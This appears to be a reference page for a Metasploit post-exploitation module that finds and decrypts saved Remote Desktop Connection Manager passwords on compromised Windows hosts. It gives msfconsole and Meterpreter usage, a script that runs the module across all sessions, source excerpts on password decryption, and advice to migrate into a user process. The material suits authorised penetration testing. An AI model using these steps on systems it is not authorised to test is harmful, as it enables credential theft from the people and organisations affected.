Windows Gather Remote Desktop Connection Manager Saved Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/rdc_manager_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Remote Desktop Connection Manager Saved Password Extraction
Module: post/windows/gather/credentials/rdc_manager_creds
Source code: modules/post/windows/gather/credentials/rdc_manager_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts and decrypts saved Microsoft Remote Desktop Connection Manager (RDCMan) passwords the .RDG files of users. The module will attempt to find the files configured for all users on the target system. Passwords for managed hosts are encrypted by default. In order for decryption of these passwords to be successful, this module must be executed under the same account as the user which originally encrypted the password. Passwords stored in plain text will be captured and documented.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/rdc_manager_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/rdc_manager_creds
msf post(rdc_manager_creds) > show options
    ... show and set options ...
msf post(rdc_manager_creds) > set SESSION session-id
msf post(rdc_manager_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/rdc_manager_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/rdc_manager_creds post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/rdc_manager_creds

msf6 post(windows/gather/credentials/rdc_manager_creds) > show info

       Name: Windows Gather Remote Desktop Connection Manager Saved Password Extraction
     Module: post/windows/gather/credentials/rdc_manager_creds
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts and decrypts saved Microsoft Remote Desktop 
  Connection Manager (RDCMan) passwords the .RDG files of users. The 
  module will attempt to find the files configured for all users on 
  the target system. Passwords for managed hosts are encrypted by 
  default. In order for decryption of these passwords to be 
  successful, this module must be executed under the same account as 
  the user which originally encrypted the password. Passwords stored 
  in plain text will be captured and documented.

Module Options

This is a complete list of options available in the windows/gather/credentials/rdc_manager_creds post exploitation module:

msf6 post(windows/gather/credentials/rdc_manager_creds) > show options

Module options (post/windows/gather/credentials/rdc_manager_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/rdc_manager_creds post exploitation module:

msf6 post(windows/gather/credentials/rdc_manager_creds) > show advanced

Module advanced options (post/windows/gather/credentials/rdc_manager_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/rdc_manager_creds module can do:

msf6 post(windows/gather/credentials/rdc_manager_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/rdc_manager_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/rdc_manager_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module is running under <UID>.

Here is a relevant code snippet related to the "This module is running under <UID>." error message:

37:	  end
38:	
39:	  def run
40:	    if is_system?
41:	      uid = session.sys.config.getuid
42:	      print_warning("This module is running under #{uid}.")
43:	      print_warning("Automatic decryption of encrypted passwords will not be possible.")
44:	      print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
45:	    end
46:	
47:	    settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings'

Automatic decryption of encrypted passwords will not be possible.

Here is a relevant code snippet related to the "Automatic decryption of encrypted passwords will not be possible." error message:

38:	
39:	  def run
40:	    if is_system?
41:	      uid = session.sys.config.getuid
42:	      print_warning("This module is running under #{uid}.")
43:	      print_warning("Automatic decryption of encrypted passwords will not be possible.")
44:	      print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
45:	    end
46:	
47:	    settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings'
48:	    profiles = grab_user_profiles

Migrate to a user process to achieve successful decryption (e.g. explorer.exe).

Here is a relevant code snippet related to the "Migrate to a user process to achieve successful decryption (e.g. explorer.exe)." error message:

39:	  def run
40:	    if is_system?
41:	      uid = session.sys.config.getuid
42:	      print_warning("This module is running under #{uid}.")
43:	      print_warning("Automatic decryption of encrypted passwords will not be possible.")
44:	      print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
45:	    end
46:	
47:	    settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings'
48:	    profiles = grab_user_profiles
49:

Unable to open RDC Manager server list: <CON_F:0>

Here is a relevant code snippet related to the "Unable to open RDC Manager server list: <CON_F:0>" error message:

64:	        print_status("\tOpening RDC Manager server list: #{con_f[0]}")
65:	        connection_data = read_file(con_f[0])
66:	        if connection_data
67:	          parse_connections(connection_data)
68:	        else
69:	          print_error("\tUnable to open RDC Manager server list: #{con_f[0]}")
70:	          next
71:	        end
72:	      end
73:	    end
74:	  end

Unable to decrypt password, try migrating to a process running as the file's owner.

Here is a relevant code snippet related to the "Unable to decrypt password, try migrating to a process running as the file's owner." error message:

118:	      else
119:	        crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text)
120:	        password = decrypt_password(crypted_pass)
121:	        password = Rex::Text.to_ascii(password)
122:	        if password.blank?
123:	          print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.")
124:	        end
125:	      end
126:	
127:	    elsif logon_creds.attributes['inherit'] == "FromParent"
128:	      # The credentials are inherited from a parent

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See Also

Check also the following modules related to this module:

Authors

  • Tom Sellers <tom[at]fadedcode.net>

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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